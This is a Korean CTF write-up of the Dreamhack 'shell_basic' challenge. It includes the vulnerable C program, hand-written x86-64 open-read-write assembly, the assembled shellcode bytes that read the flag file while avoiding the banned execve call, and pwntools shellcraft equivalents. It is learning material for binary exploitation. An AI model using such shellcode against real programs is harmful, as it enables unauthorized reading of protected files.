728x90
반응형

문제

문제 파일에는 shell_basic ELF 파일과 shell_basic.c가 들어있다.

// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
 
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
 
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
 
void init() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(10);
}
 
void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
 
  seccomp_load(ctx);
}
 
void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();
  
  init();
  
  banned_execve();
 
  printf("shellcode: ");
  read(0, shellcode, 0x1000);
 
  sc = (void *)shellcode;
  sc();
}

main() 함수를 제외한 나머지 alarm_handler(), init(), banned_execve()는 문제 환경 설정을 위한 함수이다. 

main()을 살펴보자.
mmap 함수는 매모리에 파일을 매핑해주는 함수이다. 이번 문제에서는 그냥 쉘코드를 잘 실행할 수 있게 도와준다.
shellcode에 0x1000만큼 입력을 받고, 실행시켜준다. 그냥 execve를 사용하지 않고 문제를 풀면 될 것 같다.

dreamhack 강의에 나온대로 ORW shellcode를 사용해서 풀면 될 것 같다.

section .text
global _start
_start:
	; flag path push
	push 0x00
	mov rax, 0x676e6f6f6f6f6f6f
	push rax
	mov rax, 0x6c5f73695f656d61
	push rax
	mov rax, 0x6e5f67616c662f63
	push rax
	mov rax, 0x697361625f6c6c65
	push rax
	mov rax, 0x68732f656d6f682f
	push rax
	
    ;open
	mov rdi, rsp
	xor rsi, rsi
	xor rdx, rdx
	mov rax, 2
	syscall
	
    ;read
	mov rdi, rax
	mov rsi, rsp
	sub rsi, 0x50
	mov rdx, 0x50
	mov rax, 0x0
	syscall
	
    ;write
	mov rdi, 1
	mov rax, 0x1
	syscall
	
    ;Exit
	xor rdi, rdi
	mov rax, 0x3c
	syscall

문제의 Descriptoin에서 flag의 경로를 알려주었으므로 flag의 경로를 push 해주고, flag를 open해서 read하고, 출력해준다. 어셈을 직접 짜보니까 x86_64 레지스터들에 대해 익숙해지고 syscall table을 이해하는데 큰 도움이 된다.

nasm -f elf64 shellcode.asm
objdump -d shellcode.o
objcopy --dump-section .text=shellcode.bin shellcode.o
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin

어셈블리 코드를 덤프 파일로 만들고, 거기에서 쉘코드 형식에 맞게 변환해서 shellcode.bin에 넣어준다.

'\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x50\xba\x50\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\x48\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05\x0a'

 

익스플로잇

은 드림핵 정책에 따라 공개하지 않습니다,,

 

추가로 위처럼 ORW 쉘코드를 어셈으로 하나하나 짤수도 있지만, pwntools에는 shellcraft라는 아주 좋은 기능이 있다. 그냥 아래처럼 우리가 원하는 함수를 넣으면 쉘코드로 뚝딱 만들어준다.

shellcode = asm(shellcraft.open(path))
shellcode += asm(shellcraft.read('rax','rsp',0x100))
shellcode += asm(shellcraft.write(1,'rsp',0x100))

그래도 직접 짜보는게 큰 도움이 되는 것 같다!!

728x90
반응형
nivr4y